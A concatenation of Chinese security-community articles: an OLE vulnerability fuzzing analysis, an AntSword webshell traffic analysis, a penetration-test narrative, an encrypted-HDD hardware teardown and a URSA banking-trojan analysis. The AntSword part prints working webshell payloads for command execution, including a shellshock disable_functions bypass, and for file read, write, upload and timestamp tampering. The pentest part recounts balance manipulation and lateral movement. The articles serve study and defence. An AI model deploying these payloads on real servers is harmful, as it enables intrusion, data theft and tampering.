实际上我们执行的过程执行了粉色块的部分，而OleLoadPicture调用则在右边，可以看到在之前会调用ole32!CExposeDocFile::OpenStream，这个过程会有一个对流名称“CONTENTS”的检查，如果正确则会进入右边分支（我们想要的）处理，因此，我们需要在OpenMCDF中修改流的名称，改为CONTENTS。
这样修改之后，我们的文件打开之后，就能成功命中OleLoadPicture断点了。接下来我们通过Windbg附加这个任务来跟踪，同时在OLEAUT32.dll中的ResTIcon函数下断点，来确定OleLoadPicture之后是否能够命中我们分析到的漏洞触发的关键函数。
可以看到，我们确实命中了断点，到这里为止，我们就很接近之前分析到的发生改变的代码分支了，但是，实际上我们利用OpenMCDF生成的文件是一个正常的文件，也就是说其中包含的图标的这个流也是正常的，那么接下来，我们使用dumb
fuzzer（译者注：dumb
fuzz是一种fuzz技术，不管文件格式问题，完全采用生成全随机化的数据来进行fuzz）的方法来生成畸形文件，通过一个vbscript的脚本来执行文件，再通过eEye公司的一款产品来自动化调试。当然，我们也要通过Windbg中个gflags开启页堆监视（译者注：通过Windbg下的gflags.exe
/I [process] +ust +hpa开启页堆监视）。
我们写了一个简单的dumb fuzzer的脚本。
接下来运行这个fuzz脚本，并且通过eEye公司的工具跟踪，大概在619次测试过后会eEye的工具会捕获到一次崩溃，利用Windbg加载这个崩溃文件。
到此，我们通过补丁复现了这个Windows OLE的漏洞，并且在打上补丁之后我们发现再用这个PoC无法触发漏洞了。
分析补丁、补丁对比是一个非常有趣的过程，但实际上使用bindiff（译者注：一款非常好用的补丁对比工具）这样的补丁对比工具可以大大加快我们的分析进度，而且有助于我们全面了解补丁前后动态链接库的变化情况，以便分析出触发漏洞的执行路径。同样，将文件类型转换成结构化存储去测试也有可能成为未来漏洞挖掘一个很有意思的方向。
* * * | 社区文章 |
# 蚁剑流量分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前护网的时候上传了webshell，发现蚁剑连接超时，但是冰蝎和哥斯拉都可以使用，根据我肤浅的了解，冰蝎和哥斯拉的流量是加密的，但是蚁剑不是，所以准备这次回来看看蚁剑的流量.
## 0x01 环境配置
搭建个php环境写个webshell，蚁剑配置一下代理就行，左上角->代理设置，然后改成bp上面设置的代理服务器就行了
## 0x02 测试连接流量
首先抓测试连接的包吧
这里的php代码要url解码之后再格式化一下会好看一些
<?php
@ini_set("display_errors", "0"); #设置不报错
@set_time_limit(0); #设置超时时间，超出时间会报错，0为没有限制
function asenc($out) {
return $out;
}; #创建一个函数，返回$out
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "a668f";
echo @asenc($output);
echo "2b358b9efe4";
} #创建一个函数，输出一堆东西
ob_start(); #写不清楚了放到下面去写
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
} else {
$R.= "/";
}
$R.= " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R.= php_uname();
$R.= " {$s}";
echo $R;;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
ob_start()查了一下一堆看不懂的东西什么缓冲区啊什么的
简单理解一下就是所有执行的结果都放到一个函数里可以选择输出或者不输出
<?php
ob_start();
echo "helloworld";
$str = ob_get_contents();
ob_end_clean();
echo $str;
//helloworld
?>
就差不多这个意思，顺便再了解一下别的ob开头的函数
ob_start() 打开输出缓冲区
ob_end_flush() 出输出缓冲区内容并关闭出书缓冲
ob_clean() 清空输出缓冲区内容
ob_end_clean() 清空发输出缓冲区并关闭输出缓冲
ob_flush() 输出输出输出缓冲区内容
ob_get_contents() 返回输出缓冲区内容
dirname()是用来返回路径中目录的部分
<?php
echo dirname('C:\\test\\a.php');
//C:\test
?>
下面两个方法是获取当前路径的
$_SERVER["SCRIPT_FILENAME"]
$_SERVER["PATH_TRANSLATED"]
使用大括号是因为把里面当作可变变量
下面一个if是判断当前是windows还是linux
截取获取到路径的第一个字符如果不是 / 就开始判断有几块硬盘
把得到的硬盘数据赋值到$R
如果是 / 就不做别的直接赋值
下面添加一个tab，应该是为了格式化方便
判断posix_getegid方法是否存在，如果存在就获取一个结果，不存在就返回空，这个方法只能在linux上面使用，会返回一串数组
Array ( [name] => www-data [passwd] => x [uid] => 33 [gid] => 33 [gecos] => www-data [dir] => /var/www [shell] => /usr/sbin/nologin )
下面一个判断如果是空字符就用另外一种方法获取用户名，总之就是获取不同系统用户名的方法吧
posix_getegid(); #返回当前进程的有效用户ID
get_current_user(); #获取当前 PHP 脚本所有者名称
这两个方法还是有区别的，如果在linux中使用get_current_user()会显示创建这个文件的用户，如果是root用户创建的会返回root，但是不是当前用户权限，所以在linux中不能使用这个
查了一下和什么有效用户实际用户有关系，一下子也说不清楚，到时候写篇文章专门说这个
php_uname()获取一些系统信息，拼接之后就是测试连接包返回的信息
## 0x03 列目录流量
第一个参数base64解码之后是当前路径
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "c3536554";
echo @asenc($output);
echo "e8932c7d0";
}
ob_start();
try {
$D = base64_decode($_POST["i641a4cfe56ac8"]); #POST一个base64的路径
$F = @opendir($D); #opendir打开目录句柄，如果不存在或者不能访问都会报错，@不显示报错
if ($F == NULL) {
echo ("ERROR:// Path Not Found Or No Permission!"); #打不开就默认没权限
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);
$R = " " . $T . " " . @filesize($P) . " " . $E . "
";
if (@is_dir($P)) $M.= $N . "/" . $R;
else $L.= $N . $R;
}
echo $M . $L;
@closedir($F);
};
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
看了一下代码其实差不多，如果判断出有这个目录就格式化
定义两个变量M,L
readdir需要用循环输出所有，如果不使用循环只会输出第一个文件或文件夹，readdir返回的是资源类型，对php的造诣还没有这么深，也不是很能理解，就随便提一下吧
$P拼接路径和文件名，得到文件的绝对路径
filemtime 获取文件修改时间
fileperms 获取文件权限，如0777，0666，就是文件读写执行的权限
filesize 获取文件大小
base_convert 转换进制，第一个参数是需要转换的字符，第二个参数是现在的进制，第三个参数是需要转换的进制
这里十进制要转换成八进制，然后取后面四位
接下来就是拼接一下然后输出了
## 0X04 执行系统命令流量
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "a735ece";
echo @asenc($output);
echo "aebcb5f";
}
ob_start();
try {
$p = base64_decode($_POST["df6ea65f22ba1e"]);
$s = base64_decode($_POST["hdf1accbefb95a"]);
$envstr = @base64_decode($_POST["udd5d23f539a87"]);
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr);
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r = "{$p} {$c}";
function fe($f) {
$d = explode(",", @ini_get("disable_functions"));
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d));
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh") , "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir() , 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("[email protected]", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print ($output);
return True;
}
}
return False;
};
function runcmd($c) {
$ret = 0;
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print (@shell_exec($c));
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print (join("
", $o));
} elseif (fe('popen')) {
$fp = @popen($c, 'r');
while (!@feof($fp)) {
print (@fgets($fp, 2048));
}
@pclose($fp);
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(
1 => array(
'pipe',
'w'
) ,
2 => array(
'pipe',
'w'
)
) , $io);
while (!@feof($io[1])) {
print (@fgets($io[1], 2048));
}
while (!@feof($io[2])) {
print (@fgets($io[2], 2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif (fe('antsystem')) {
@antsystem($c);
} elseif (runshellshock($d, $c)) {
return $ret;
} elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
$w = new COM('WScript.shell');
$e = $w->exec($c);
$so = $e->StdOut();
$ret.= $so->ReadAll();
$se = $e->StdErr();
$ret.= $se->ReadAll();
print ($ret);
} else {
$ret = 127;
}
return $ret;
};
$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
数据包里面两个都是base64，第一个参数是cmd（linux为/bin/sh），执行的命令是dir,第二个参数是cd /d
“D:\phpstudy_pro\WWW”&dir&echo [S]&cd&echo [E]，cd到这个目录下面去执行dir
上面就是设置一些变量吧，第一个if判断当前为什么系统，不同系统添加不同环境变量，尝试了一下发现这样添加环境变量是临时的，
第二个if也没看懂是做什么用的
fe函数检测函数有无被禁用
$d得到被禁用的函数，变为一个数组，如果$d为空也转换成一个数组，如果$d不为空先将所有的禁用函数转换为小写再去掉空格
如果这个函数存在，可调用，不在这个数组里面则返回true
runshellshock函数，这里已经开始bypass_disable_function了，但是这里需要C语言的知识，暂时还不会C语言所以没法读
runcmd函数，就是一个个对比过去了system,passthru,shell_exec,exec,popen,proc_open,antsystem,runshellshock最后还有个com组件
antsystem这个方法找了一下没找到，可能是作者先留着准备以后写的吧
$ret是命令执行后返回的状态，0是成功1是失败
上面所有方法都不能使用则返回ret=127，实际测试中只有所有方法都失败了才会返回127，因为里面执行的命令不止有一条，如：cd /d
“D:\phpstudy_pro\WWW”&a&echo [S]&cd&echo [E]只要错误的命令不在最后一段里面就会返回0
whoami&a&whoami #返回0
whoami&whoami&a #返回1
如果想看到ret=1输入;就可以，会使整条命令都错误
## 0x05 读文件流量
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "58e7b39";
echo @asenc($output);
echo "442640773";
}
ob_start();
try {
$F = base64_decode($_POST["z32eaa956c11f2"]);
$P = @fopen($F, "r");
echo (@fread($P, filesize($F) ? filesize($F) : 4096));
@fclose($P);;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die(); ?>
这个就普通的读文件，POST上去的文件路径使用base64编码。，如果filesize没读出大小默认文件大小为4096
## 0x06 写文件+保存文件流量
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "c6a5e3ac1a3";
echo @asenc($output);
echo "7aa2ed54e88";
}
ob_start();
try {
echo @fwrite(fopen(base64_decode($_POST["md6246f865f321"]), "w"), base64_decode($_POST["ib91b7206ec157"])) ? "1" : "0";;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
写入内容和文件路径使用base64编码，fwrite写入
## 0x07 上传文件流量
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "a8d0d";
echo @asenc($output);
echo "a0625f";
}
ob_start();
try {
$f = base64_decode($_POST["v889340f8c72ac"]);
$c = $_POST["gf1a56119bdc4e"];
$c = str_replace("", "", $c);
$c = str_replace("", "", $c);
$buf = "";
for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
第一个参数是文件路径，第二个参数是上传文件内容
不知道$c为什么要替换两次
然后计算出上传文件长度通过for循环上传
## 0x08 下载文件流量
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "40bc8a634f";
echo @asenc($output);
echo "447ce9735";
}
ob_start();
try {
$F = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POS T["v889340f8c72ac"]) : $_POST["v889340f8c72ac"]);
$fp = @fopen($F, "r");
if (@fgetc($fp)) {
@fclose($fp);
@readfile($F);
} else {
echo ("ERROR:// Can Not Read");
};
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
第一个参数是下载的文件，如果有使用魔术引号需要把斜杆都去除，没有的话就直接返回，后面这个fgetc也看不太懂，可能也涉及C语言的知识，以后学懂了再来看。
## 0x09 更改时间流量
这个就只是好奇想看一看是怎么改的
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
};
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "a6dd58ec46";
echo @asenc($output);
echo "6b8c4";
}
ob_start();
try {
$m = get_magic_quotes_gpc();
$FN = base64_decode(m ? stripslashes($_POST["p100b5d1ae6e76"]) : $_POST["p100b5d1ae6e76"]);
$TM = strtotime(base64_decode(m ? stripslashes($_POST["f744286414facf"]) : $_POST["f744286414facf"]));
if (file_exists($FN)) {
echo (@touch($FN, $TM, $TM) ? "1" : "0");
} else {
echo ("0");
};;
}
catch(Exception $e) {
echo "ERROR://" . $e->getMessage();
};
asoutput();
die();
?>
两个参数一个是文件路径一个是需要修改的时间
和上面一样判断有无魔术引号
touch方法修改文件时间
## 0x10 总结
看了一下蚁剑编码器和解码器，基本上也是一样的，就是代码加个编码返回值也加个编码
写这个就是看一看蚁剑的数据包吧，顺便还可以学一下php | 社区文章 |
给了7个IP地址
### 0x01 加载中
**日常探测端口信息:**
ip | port
---|---
x.x.x.222 | 8009
x.x.x.223 | 20080
x.x.x.39 | 8008
一度以为自己探测的姿势不对，反复调整还是只扫出这些来。
都是web服务:
**日常找目录:**
结合结合命名规律扫描最终找到以下有效率页面
http://x.x.x.xxx:8888/z1234/
http://x.x.x.xxx:20080/download/
z1234是一个报名页面,测试时已经过了报名日期,被停用,空有一个登陆页面。
download页面如下
**日常反编译:**
端口对得上,走http协议,挂着代理转换Web的方式进行测试。
很明显APP有签名机制，代码段如下:
跟着算法写脚本构造数据包,测试各类逻辑漏洞,代码忘记放哪个文件夹了...看最终成果:
amt参数是转账金额,转100就是参数值-100,对于的改成正数就就可以增加余额了...
按照系统机制这个金币可以直接兑换RMB或者买东西...
**日常测试：**
任意文件上传拿shell。
没有域,但是每台都有杀毒软件。(据说之前被某安检查出问题被罚过钱,就做了这个“防御”)
这个Hash没能解密成功。有杀软添加账户不方便,没有账户密码的话跑起TV来也是黑屏。有AV条件下添加用户可以参考<https://xz.aliyun.com/t/4078>,
有密码可以把端口转发到公网，也可以上传TeamViewer去远程连接,转发什么的都省了。
**日常横向：**
扫一个C段半小时。。。
这里最终打到一个03的服务器,激活Guest空口令登陆。
Windows server 2003默认允许空口令登陆。
AV会拦截添加/删除用户,修改密码的行为，但是不会拦截将已有用户添加至管理组。
如图,双网卡。
上传masscan探测两个段:
然后批量采集端口信息并分类：
选择相对核心的资产进行端口识别，寻找脆弱点。
同类资产扩散：
口令类也一样，找到一个就在扫出来的资产里面去撞，成功率很高。
拿到命令执行权限的都读读口令,同样的再拿去撞。
常见漏洞打一波(ms17010,st2,weblogic放序列化),未见过的核心的应用系统仔细测一测。
安服仔的时间不用来屯新漏洞没翻身的空间啊。（图：该单位的行业OA的注入）
### 0x03 加载成功
Web方面相对核心的系统:
ms17010因为AV的原因大部分打不成功。(03的可以)
RDP:
SSH
MSSQL
MYSQL
以上口令打码的地方大部分都是该单位字母简写。
整个过程一个人花了将近三天,扫外网的7个IP几乎就花了一早上,开放的端口太少且打开都是404或403直接怀疑狗生,换着姿势扫了好几遍，解决APP数据包签名到拿到shell后已经是凌晨了,(其实可以直接Hook那个发包函数的,当时没安卓机也不熟悉,放弃了,孤军战斗的悲哀。)，内网渗透主要担心有态势感知之类的被抓到权限容易掉。通过代理访问网速慢,
这方面TV优化得是真香。其他都可以基本都是在收集信息,同类扩散。 | 社区文章 |
# 爱国者HDD硬盘破解教程（上集）
##### 译文声明
本文是翻译文章，文章来源：https://syscall.eu
原文地址：<https://syscall.eu/blog/2018/03/12/aigo_part1/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
长期以来，我个人的爱好就是分析和破解外部加密HDD硬盘驱动器。在此之前，我和我的同事Joffery Czarny以及Julien
Lenoir曾经对下面这几款型号的设备进行过分析测试：
-Zalman VE-400
-Zalman ZM-SHE500
-Zalman ZM-VE500
而在今天的这篇文章中，我将会跟大家分享我对爱国者SK8671移动硬盘的分析成果。这块移动硬盘是我的一名同事给我的，它符合外部加密HDD的传统设计理念，并带有LCD信息显示屏以及一块用来输入密码的物理键盘。
注：本系列文章中的所有研究内容都是我个人在闲暇时间完成的，与我的公司没有任何关系。
硬件设备图如下所示：
爱国者SK8671移动硬盘外包装如下图所示：
用户必须输入密码才可以访问移动硬盘内的数据，而硬盘内的数据理应是经过加密处理的。
需要注意的是，硬盘本身提供的操作选项非常有限：
-在解锁之前按下F1键，可修改PIN码。
-PIN码必须为长度在6-9位之间的数字。
-采用了错误PIN码计数器，输入密码错误十五次之后会销毁硬盘中的所有数据。
## 硬件设计
当然了，我们首先要做的就是把设备的外壳拆开，然后看看电路板上都有哪些组件。拆开外壳的过程就是各种拧螺丝，然后拆开塑料外壳。最后，我们得到了如下图所示的组件：
## 主PCB板
这款设备的主PCB板设计其实非常简单：
我们从上往下看，最重要的部分分别为：
1． 连接LCD PCB板（CN1）的连接器；
2． 蜂鸣器（SP1）；
3． Pm25LD010 SPI闪存（U2）；
4． Jmicron JMS539 USB-SATA控制器（U1）；
5． USB 3连接器（J1）；
其中，SPI闪存存储的是JMS539固件以及其他的一些设置信息。
## LCD PCB板
LCD显示屏的PCB板其实没什么特别的，其结构图如下所示：
电路板上的组件如下：
1. 一个未知品牌的LCD字符显示屏（可能为中国产），带有串行控制接口；
2. 一个连接键盘PCB板的带状连接器；
### 键盘PCB板
当我们开始分析键盘PCB板之后，有意思的地方就来了：
在键盘PCB板的背面，我们可以看到一个带状连接器和一个Cypress CY8C21434 PSoC 1 微型控制器（我一般把它称作“µC”或“PSoC”）：
CY8C21434使用了M8C指令集，这种指令集在这份【汇编语言用户指南】中有详细介绍。
根据爱国者官方网站产品页上的介绍，这款产品支持CapSense，即Cypress的电容式键盘技术。你可以从一开始的电路板整体图片中看到，我焊接的是标准ISSP编程Header。
### 电路分析
在分析一款硬件设备时，了解设备电路的连接情况可以很好地帮助我们对设备的运行机制进行分析。这款设备的电路板有一个相对比较“庞大”的连接器，我们可以使用一个连续测试模式下的万用表来识别电路板中的线路连接情况：
可能这样看的话电路板就有些乱了，所以我们给大家提供以下描述来帮助大家更好地理解：
3. PSoC代表的是数据表；
4. 右边下一个连接器为ISSP头，网上的资料非常完整，这里就不再进行赘述；
5. 最右边的连接器是连接到键盘PCB上的带状数据线；
6. 加粗黑色框中画的是主PCB 板上的CN1连接器，它的线缆连接的是LCD的PCB板。P11、P13和P4连接的是PSoC针脚11、13和4；
### 攻击步骤
既然现在我们已经知道了这款设备的内部结构以及各个组件的情况，那么接下来我们就要对这款设备进行攻击分析了，而这里所采用的基本步骤跟我们之前分析设备时所采用的是一样的：
7. 确保使用了基本的加密功能；
8. 了解加密密钥的生成方法和存储方式；
9. 寻找验证用户PIN码的位置（代码或功能组件）；
但是在我们实际的分析过程中，我们的主要精力并不会放在破解该设备的安全性身上，我们的目标只是娱乐为主。我的实验操作过程如下：
10. 导出SPI闪存内容；
11. 尝试导出PSoC闪存内存数据；
12. 开始编写测试报告；
13. 通过测试后发现，Cypress PSoC和JMS539之间的通讯数据中包含键盘记录信息；
14. 当密码修改之后，SPI闪存中并不会存储任何信息；
15. 我也懒得对JMS539固件（v8051）进行逆向分析了；
16. TBD：完成针对该设备的整体安全性分析；
### 导出SPI闪存
导出SPI闪存内容这一步还是比较简单的：
首先，我们要将数据线跟闪存的CLK、MSOI、MISO和EN针脚相连接，然后使用一个逻辑分析工具（我使用的是Saleae Logic Pro
16）来嗅探通信数据。接下来，解码SPI协议并将分析结果以CSV格式输出。最后，使用decode_spi.rb对输出结果进行解析，并得到最终的SPI闪存数据。
需要注意的是，这种操作方法非常适用于JMS539，因为它会在设备的启动过程中从缓存将整个固件全部加载进来。
`$ decode_spi.rb boot_spi1.csv dump
0.039776 : WRITE DISABLE
0.039777 : JEDEC READ ID
0.039784 : ID 0x7f 0x9d 0x21
* * *
0.039788 : READ @ 0x0
0x12,0x42,0x00,0xd3,0x22,0x00,
[…]
$ ls —size —block-size=1 dump
49152 dump
$ sha1sum dump
3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125 dump`
不幸的是，我们在测试过程中这种方法貌似并没那么有效，因为当我们修改了PIN码之后，闪存内容并没有发生改变，而且在设备启动之后闪存内容也没有真正被访问过。所以说，我认为设备可能只存储了JMicron控制器（潜入了一个8051微型控制器）的固件。
## 嗅探通信流量
如果你想要弄清楚每一块芯片具体负责的是哪些任务，最好的方法就是检查其通信数据。我们都知道，USB-SATA控制器是跟屏幕相连接的，并通过CN1连接器和两个带状线缆与Cypress
µC相连。所以我们用数据线与这三个相关的针脚进行连接，即P4、P11和P13。
接下来，启动Saleae逻辑分析工具，设置好触发器之后在键盘上输入“123456✓”。接下来，我们将会看到如下图所示的界面：
你可以看到三种不同类型的通信数据，在P4信道上是一些短脉冲信号，在P11和P13上大多是连续的交流信号。放大第一个P4脉冲信号（上图中蓝色线条标注的位置）之后，我们得到了如下图所示的数据：
你可以从上图中看到，P4脉冲信号大多都是70ms的纯规则信号，这种信号规则符合时钟的特征。但是在进行了进一步分析之后，我发现它只是用户每次按下物理键盘按键时发出了“哔哔”声…所以这部分数据对我们来说就没什么价值了，不过我们可以从中了解到PSoC对每一次键盘击键的注册信息。
可能有些细心的同学已经发现了，在第一张P4脉冲信号图中有一个跟其他不同的脉冲信号（“哔哔声”），而它代表的是“错误的PIN码”！放大了左后一个P4脉冲信号之后，我们得到了如下图所示的数据：
大家可以看到，这里我们得到的是有规则的电波信号，以及在最后“错误的PIN码”出现之后的信号变化模式。
一般来说，双线协议通常是SPI或I2C，而Cypress数据集表明这些针脚跟I2C有关，这也符合我们的测试情况：
USB-SATA芯片会不断地让PSoC去读取键位状态，默认情况下为“0”，当用户按下键盘“1”之后，状态值将会改变成“1”。当用户按下“✓”键之后，如果用户已经输入了有效的PIN码，则最终的通讯数据将会发生改变。但是，我现在还没有对实际的传输数据进行测试，不过传输的内容中似乎并没有加密密钥的存在。
## 总结
在本系列文章的上集中，我们对爱国者SK8671移动硬盘的内部构造以及电路板运行情况进行了分析，在本系列文章的下集，我们将会告诉大家如何导出PSoC内部闪存数据，感兴趣的同学请关注《安全客》的最新资讯。 | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/#.X2LUXWgzbIV>**
## 前言
2020年6月以来，新一波URSA木马程序（ESET称之为mispadu恶意软件）已影响到多个国家的用户，包括玻利维亚、智利、墨西哥、阿根廷、厄瓜多尔、秘鲁、哥伦比亚、巴拉圭、哥斯达黎加、巴西、西班牙、意大利和葡萄牙。此软件是恶意木马，当安装在受害者的设备上时，它从浏览器和流行软件（如FTP和电子邮件服务）收集密码，并执行银行浏览器覆盖，以诱使受害者介绍银行凭证，这些流程由攻击者在后台逐步执行。
下表1显示了2020年6月至9月中旬全球感染数量的地理分布。
表1:URSA木马——2020年6月至9月中旬按国家分列的感染情况。
从一些C2s获得的数据可以看出，从2020年6月到9月中旬，共有3379名用户受到该威胁的影响。墨西哥共有1977例，是受感染人数最多的国家，其次是西班牙631例，葡萄牙514例，智利331例。
实际感染的数量可能要比上面高得多，因为这些指标只与文章末尾部分C2s中存在的数据有关。
### URSA木马如何传播
URSA恶意软件是一种相对较新的木马程序，旨在窃取受害者机器的凭证，并在受害者访问其家庭银行门户网站时创建银行覆盖窗口。URSA通过社会工程模式传播，即网络钓鱼/恶意欺诈活动。在葡萄牙，这种威胁已经在野外传播，并冒充了四个受欢迎的组织，即沃达丰、EDP（葡萄牙能源公司）、MEO（Serviços
de Comunicaões e Multimédia，S.A）和Polícia Judicíaria——葡萄牙负责刑事调查的警察组织之一。
电子邮件通常是通过过期发票诱使受害者下载恶意文件（从互联网下载的.zip文件）来进行影响用户的。这些电子邮件通常在每个月底和月初之间发送。
图1：URSA模仿沃达丰、EDP和Polícia Judíciaria的电子邮件模板-葡萄牙。
### URSA装载细节分析
乍一看，通过电子邮件诈骗犯罪分子发送的恶意URL下载的文件是一个zip文件，里面有一个MSI（微软安装程序）。通过分析MSI文件，可以观察到另一个文件在内部可用，并且可能在MSI执行时被删除。名为px3q8x.vbs的文件是一个VBscript文件，负责加载和执行下一个阶段。有趣的是，这个文件有一个低检测率绕过。
> 威胁名称：554S2000A2S144D1S4111D.zip
> MD5:2d2f3500836ed60303103bafac6357a3
> 威胁名称：554S2000A2S144D1S4111D.msi
> MD5:3be539aa8d421d09cef27723a98d2d83
> 威胁名称：px3q8x.vbs (initial payload – VBScript)
> MD5: a4f066196b1009c42c1dea74f857180d
图2:MSI文件中包含另一个文件–名为px3q8x.vbs的VBScript–Ursa木马VBScript加载程序。
在本文中，我们可以看到URSA木马有两个加载程序。首先是VBScript加载程序，然后是几轮模糊处理和兔子洞。最后VBScript负责启动和删除磁盘上的文件，并执行AutoIt加载程序/注入器。该二进制文件通过进程注入技术将一些DLL注入内存，包括与银行覆盖窗口相关的Delphi二进制文件，以及与C2服务器建立所有通信的DLL。
下图显示了URSA木马程序工作原理的高级图表。
图3:URSA木马/Mispadu 2020-高级图表。
### VBScript
在提取VBscript加载程序之后，我们发现它非常混乱，如图4所示。
图4:URSA VBScript加载程序-代码模糊化以绕过AV并使其难以分析。
几轮之后，我们得到了一个更可读的版本。注意，一些与无用代码相关的部分被删除了。具体来说，VBscript分为两部分。第一部分是Installer对象的方法，该方法返回一个新的记录对象，其中包含请求的字段数（下面突出显示的代码）。
图5:URSA加载程序VBScript分析-第一部分-记录对象部分。
第二部分是下一个有效载荷编码的代码。然后执行该有效载荷，并负责解码另一个有效载荷（图5–步骤5中的第二个有效载荷）。
图6:URSA加载程序VBScript分析-第二部分-有效负载2。
这个新的有效载荷（在去除代码并重命名一些函数和变量之后）是另一个VBScript，最后一个有效载荷从C2服务器请求下一个阶段。
图7：分析URSA加载程序VBScript—第三部分—有效负载3—步骤8。
图8：从C2下载下一个恶意软件阶段时的网络流量。
最后，我们得到了c2ip地址（191.235.99.]13）和本阶段来自C2服务器的最终有效负载。
### URSA木马程序–VBscript加载程序/删除程序（最终的VBscript）
> 威胁名称：最终有效载荷（VBScript）
> MD5:bda287c97d9373052f347ac0ccedfdf8
在经历了几次兔子洞之后，我们终于从C2服务器上完全除掉了URSA
VBScript加载程序。只需对恶意软件配置进行加密，C2服务器和特洛伊木马客户端之间的所有通信都是使用相同的算法执行的，即使是在这个恶意软件的最后阶段——一个Delphi
PE文件，负责创建银行覆盖窗口，从受害者的机器收集凭证，并将所有数据发送到C2在线。
图9:URSA最终VBScript加载程序及其配置。
从图9中，我们可以观察到以下内容：
* 来自C2服务器的一些路径（SRoleX和sRoleXW2）。
* 从C2下载二进制文件到（cRaiz1）的路径。
* 一些用于构建最终阶段的部分（一个AutoIT二进制文件，负责将恶意软件final stage注入并执行到内存中，即所提到的Delphi文件）。
如前所述，恶意软件和C2服务器之间的所有通信都是加密的。为了解密恶意软件通信，我们可以使用GitHub上的下一个脚本。
通过执行脚本，可以解密恶意软件配置，如下所示。
图10:Ursa木马配置解密。
变量“#wp#”是在恶意软件执行期间发送受害者信息的最终C2端点。同时，还发现了几种寄主重复。这是一个潜在的C2，当一个新的受害者受到影响时会通知攻击者。尽管如此，下一阶段的恶意软件是从IP地址（191.235.99.]13）下载的，如上所述。
在VBScript代码分析过程中，发现了一些函数：
Function GetWmiPropertyValue(strNameSpace, strClassName, strPropertyName)
function crypt(cText, cCod)
function decrypt(cText, cCod)
Function UnZip(ZipFile, ExtractTo)
Function StringGetURL(sUrl)
Function BinaryGetURL(strURL)
Function StringGetURL(strURL)
Function SaveBinaryData(arrByteArray, strFileName)
Sub writeBinary(bstr, path)
Function makeArray(n) ' Small utility function
Function TrocaEntry(strFileName1, strFileName, sSenhaVelha, sSenhaNova)
function cr1pt(x, c)
